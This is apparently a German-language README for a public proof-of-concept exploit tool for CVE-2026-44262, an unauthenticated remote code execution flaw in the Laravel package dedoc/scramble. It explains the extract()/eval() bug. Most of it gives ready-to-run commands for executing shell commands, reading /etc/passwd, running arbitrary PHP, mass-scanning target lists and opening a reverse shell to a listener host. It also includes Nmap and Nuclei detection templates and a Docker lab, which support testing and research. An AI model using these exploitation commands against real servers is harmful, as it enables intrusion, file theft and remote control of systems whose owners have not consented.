dedoc/scramble RCE (CVE-2026-44262) PoC

📜 Beschreibung

CVE-2026-44262 ist eine nicht authentifizierte Remote-Codeausführung-Schwachstelle in dedoc/scramble, einem Laravel-API-Dokumentationsgenerator.

NodeRulesEvaluator::doEvaluateExpression() ruft extract($variables) auf, bevor eval("return $code;") ausgeführt wird. Wenn ein Controller $request->input() einer Variablen mit dem Namen $code zuweist und sie als Validierungsregel verwendet, verfolgt Scramble diese Variable und übergibt sie in den eval-Kontext. Ein Angreifer kann $code mit beliebigem PHP-Code überschreiben, indem er einen manipulierten Query-Parameter an /docs/api.json sendet.

Betroffene Versionen: dedoc/scramble >=0.13.2, <0.13.22

✨ Funktionen

• Automatische Erkennung — durchsucht die OpenAPI-Spezifikation, um anfällige Parameter automatisch zu finden
• Timing-Sonde — sichere, nicht-invasive Prüfung mittels sleep(), um zu bestätigen, dass eval ausgeführt wird
• Befehlsausführung — Shell-Befehle ausführen und Ausgabe direkt aus der HTTP-Antwort erfassen
• Dateilesen — beliebige Dateien vom Zielsystem lesen
• PHP-Codeausführung — Roh-PHP-Code über die RCE ausführen
• Reverse Shell — PHP-proc_open-Reverse-Shell, kein bash oder busybox erforderlich
• Massen-Scanning — mehrere Ziele aus einer Datei scannen
• OS-Erkennung — erkennt Windows/Linux/Darwin automatisch und passt Payloads entsprechend an
• Nmap NSE — Skript für passive + Timing-Erkennung (http-scramble-rce-detect.nse)
• Nuclei-Template — zweistufige Erkennung mit Timing-Bestätigung (CVE-2026-44262.yaml)

🛠️ Installation

Keine externen Abhängigkeiten — nutzt nur die Python-Standardbibliothek.

macOS / Linux

git clone https://github.com/joshuavanderpoll/CVE-2026-44262.git
cd CVE-2026-44262
python3 CVE-2026-44262.py --target http://example.com/docs/api

Windows

git clone https://github.com/joshuavanderpoll/CVE-2026-44262.git
cd CVE-2026-44262
python3 CVE-2026-44262.py --target http://example.com/docs/api

⚙️ Verwendung

usage: CVE-2026-44262.py [-h] (--target TARGET | --targets FILE) [--docs-path PATH]
                   [--check] [--command CMD] [--code PHP] [--read-file PATH]
                   [--shell] [--lhost HOST] [--lport PORT] [--os OS]
                   [--useragent USERAGENT] [--timeout SECONDS]

Erkennung

# Full detection (timing + exec probe)
python3 CVE-2026-44262.py --target http://example.com/docs/api

# Safe check only — timing probe, no command execution
python3 CVE-2026-44262.py --target http://example.com/docs/api --check

# Override JSON endpoint path
python3 CVE-2026-44262.py --target http://example.com/docs/api --docs-path /api/openapi.json

# Bulk scan
python3 CVE-2026-44262.py --targets targets.txt

Ausnutzung

# Execute a command
python3 CVE-2026-44262.py --target http://example.com/docs/api --command "whoami"

# Read a file
python3 CVE-2026-44262.py --target http://example.com/docs/api --read-file /etc/passwd

# Execute raw PHP
python3 CVE-2026-44262.py --target http://example.com/docs/api --code "echo php_uname();"

# Reverse shell (start: nc -lv 4444)
python3 CVE-2026-44262.py --target http://example.com/docs/api --shell --lhost 172.17.0.1 --lport 4444

Nmap & Nuclei (passiv + Timing, keine Ausnutzung)

# Nmap
nmap -p 80,443 --script http-scramble-rce-detect example.com

# Nuclei
nuclei -t CVE-2026-44262.yaml -u http://example.com

🐋 Docker-Lab

Eine eigenständige Docker-Umgebung mit der anfälligen App (dedoc/scramble v0.13.21) ist enthalten. Siehe docker/DOCKER.md für Details.

cd docker/
docker compose up -d
python3 ../CVE-2026-44262.py --target http://localhost:8000/docs/api

🕵🏼 Referenzen

• dedoc/scramble
• GitHub-Sicherheitshinweis — GHSA-4rm2-28vj-fj39
• NVD — CVE-2026-44262
• HackIndex.io — CVE-2026-44262

📢 Haftungsausschluss

Dieses Tool dient ausschließlich Bildungs- und Forschungszwecken. Der Ersteller übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.